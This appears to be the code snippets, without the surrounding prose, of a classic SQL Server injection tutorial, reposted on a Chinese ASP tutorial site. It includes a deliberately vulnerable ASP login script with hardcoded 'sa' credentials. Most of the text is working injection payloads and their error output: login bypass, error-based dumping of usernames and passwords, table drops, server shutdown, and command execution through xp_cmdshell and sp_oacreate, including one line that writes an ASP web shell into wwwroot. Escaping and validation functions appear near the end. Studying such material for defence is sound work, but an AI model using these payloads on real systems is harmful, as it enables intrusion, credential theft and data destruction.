Select id,forename,surname from authors |
Select id,forename,surname from authors where forename'john' and surname='smith' |
Forename:jo'hn Surname:smith |
Select id,forename,surname from authors where forename='jo'hn' and surname='smith' |
Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near 'hn' |
Forename:jo';drop table authors— Surname: |
Select id,forename,surname from authors where id=1234 |
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_loginasp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR> <TR> <TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD> </TR> </TABLE> <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'> </FORM> </Font> </BODY> </HTML> |
<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> |
Var sql="select * from users where username='"+username+"' and password='"+password+"'"; |
Username:';drop table users— Password: |
Username:admin'— |
Username:' or 1=1— |
Username:' union select 1,'fictional_user','some_password',1— |
Create talbe users( Id int, Username varchar(255), Password varchar(255), Privs int ) |
Insert into users values(0,'admin','r00tr0x!',0xffff) Insert into users values(0,'guest','guest',0x0000) Insert into users values(0,'chris','password',0x00ff) Insert into users values(0,'fred','sesame',0x00ff) |
Username:' having 1=1— |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 |
Username:' group by users.id having 1=1— |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 |
‘ group by users.id,users.username,users.password,users.privs having 1=1— |
select * from users where username='' |
Username:' union select sum(username) from users— |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 |
Username:' union select sum(id) from users— Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 |
Username:';insert into users values(666,'attacker','foobar','0xffff)— |
select * from master ..sysmessages |
Username:' union select @@version,1,1,1— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 |
Username:' union select min(username),1,1,1 from users where username>'a'— |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 |
Username:' union select min(username),1,1,1 from users where username>'admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35 |
Username:' union select password,1,1,1 from users where username='admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35 |
begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end |
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end— |
Username:' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 |
Username:'; drop table foo— |
Exec master..xp_cmdshell 'dir' |
Exec master..xp_cmdshell 'net user' |
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumkeys Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite |
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' |
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' |
exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' |
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' |
exec xp_webserver |
xp_dropextendedproc 'xp_webserver' |
create table foo( line varchar(8000) ) |
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' |
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar |
wscript.shell example declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe' |
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'— |
--scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret=sp_oamethod @f,'readline',@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,'readline',@line out end |
-- scripting.filesystemobject example – create a 'run this'.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1 exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>' |
declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528 waitfor delay '00:00:05' |
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'-- |
sp_who '1' select * from sysobjects or sp_who '1';select * from sysobjects |
function escape(input) input=replace(input,"'","''") escape=input end function |
insert into users values(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff) |
insert into users values(667, 123, 123, oxffff) |
Username:admin'— Password:password |
insert into users values(123,'admin''—','password',0xffff) |
username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) { … |
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" rso("username")为登陆查询中返回的用户名 |
update users set password = 'password' where username='admin'—' |
if(not isValid("email",request.querystring("email"))) then response.end |
Username:';shutdown— |
drop table <tablename> |
Username:aaaaaaaaaaaaaaa' Password:'; shutdown— |
select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown— |
aaaaaaaaaaaaaaa' and password=' |
--'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. |
function escape(input) input=replace(input,"'","''") escape=input end function |
function validate_string(input) known_bad=array("select","insert","update","delete","drop","—","'") validate_string=true for i=lbound(known_bad) to ubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next end function |
function validatepassword(input) good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” validatepassword=true for i=1 to len(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next end function |
ASP编码教程:如何实现/使用缓存
[ASP]2015年4月15日ASP编码教程:asp缓存的分类
[ASP]2015年4月15日ASP编码教程:何谓ASP缓存/为什么要缓存
[ASP]2015年4月15日ASP编码教程:asp实现的sha1加密解密代码
[ASP]2015年4月15日ASP编码教程:asp执行带参数的sql语句实例
[ASP]2015年4月14日